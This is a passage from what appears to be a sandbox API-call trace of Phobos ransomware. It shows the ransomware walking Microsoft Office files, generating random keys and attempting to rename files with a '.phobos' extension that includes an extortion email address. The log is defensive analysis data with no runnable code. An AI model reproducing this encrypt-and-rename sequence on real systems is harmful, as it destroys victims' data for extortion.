Office\\root\\mcxml\\x-none\\Groove.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\groove.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.320] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=224244) returned 1 [0154.320] CloseHandle (hObject=0x58c) returned 1 [0154.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Groove.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\groove.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Groove.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\groove.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Groove.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\groove.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.322] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_Common.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_common.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.326] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11952) returned 1 [0154.326] CloseHandle (hObject=0x488) returned 1 [0154.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_Common.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_common.mcxml")) returned 0x220 [0154.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_Common.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_common.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_Common.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_common.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.332] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_postcommon.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.336] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=756) returned 1 [0154.336] CloseHandle (hObject=0x488) returned 1 [0154.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_postcommon.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.mcxml")) returned 0x220 [0154.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_postcommon.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_postcommon.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.337] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.338] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=41566) returned 1 [0154.338] CloseHandle (hObject=0x488) returned 1 [0154.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml")) returned 0x220 [0154.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.338] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.341] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4012810) returned 1 [0154.341] CloseHandle (hObject=0x57c) returned 1 [0154.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml")) returned 0x220 [0154.341] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.341] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml")) returned 0 [0154.341] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_OneNote.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_onenote.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.345] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=212) returned 1 [0154.345] CloseHandle (hObject=0x488) returned 1 [0154.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_OneNote.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_onenote.mcxml")) returned 0x220 [0154.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_OneNote.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_onenote.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_OneNote.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_onenote.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.361] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_postcommon.visio.x-none.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.362] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=314) returned 1 [0154.362] CloseHandle (hObject=0x488) returned 1 [0154.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_postcommon.visio.x-none.mcxml")) returned 0x220 [0154.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_postcommon.visio.x-none.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_postcommon.visio.x-none.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.363] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Word.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\word.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.364] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1571748) returned 1 [0154.364] CloseHandle (hObject=0x488) returned 1 [0154.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Word.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\word.x-none.msi.16_mondoww.mcxml")) returned 0x220 [0154.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Word.x-none.msi.16_mondoww.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\word.x-none.msi.16_mondoww.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Word.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\word.x-none.msi.16_mondoww.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.365] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.366] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=495616) returned 1 [0154.366] CloseHandle (hObject=0x488) returned 1 [0154.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc")) returned 0x220 [0154.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.366] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\accolki.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.369] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=15008) returned 1 [0154.369] CloseHandle (hObject=0x57c) returned 1 [0154.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\accolki.dll")) returned 0x220 [0154.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCOLKI.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\accolki.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.369] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.370] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=343520) returned 1 [0154.370] CloseHandle (hObject=0x57c) returned 1 [0154.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp")) returned 0x220 [0154.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.371] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\acwizrc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.372] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=289400) returned 1 [0154.372] CloseHandle (hObject=0x57c) returned 1 [0154.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\acwizrc.dll")) returned 0x220 [0154.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACWIZRC.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\acwizrc.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.373] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aec.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.374] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=78432) returned 1 [0154.374] CloseHandle (hObject=0x57c) returned 1 [0154.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aec.vsl")) returned 0x220 [0154.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AEC.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aec.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aec.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.375] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aecutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.375] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=49360) returned 1 [0154.375] CloseHandle (hObject=0x57c) returned 1 [0154.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aecutils.vsl")) returned 0x220 [0154.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AECUTILS.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aecutils.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.376] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\asset.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.378] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1694) returned 1 [0154.378] CloseHandle (hObject=0x488) returned 1 [0154.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\asset.vrd")) returned 0x220 [0154.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ASSET.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\asset.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.379] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.380] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19040) returned 1 [0154.380] CloseHandle (hObject=0x488) returned 1 [0154.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bcsruntimeres.dll")) returned 0x220 [0154.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BCSRuntimeRes.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bcsruntimeres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bcsruntimeres.dll"), 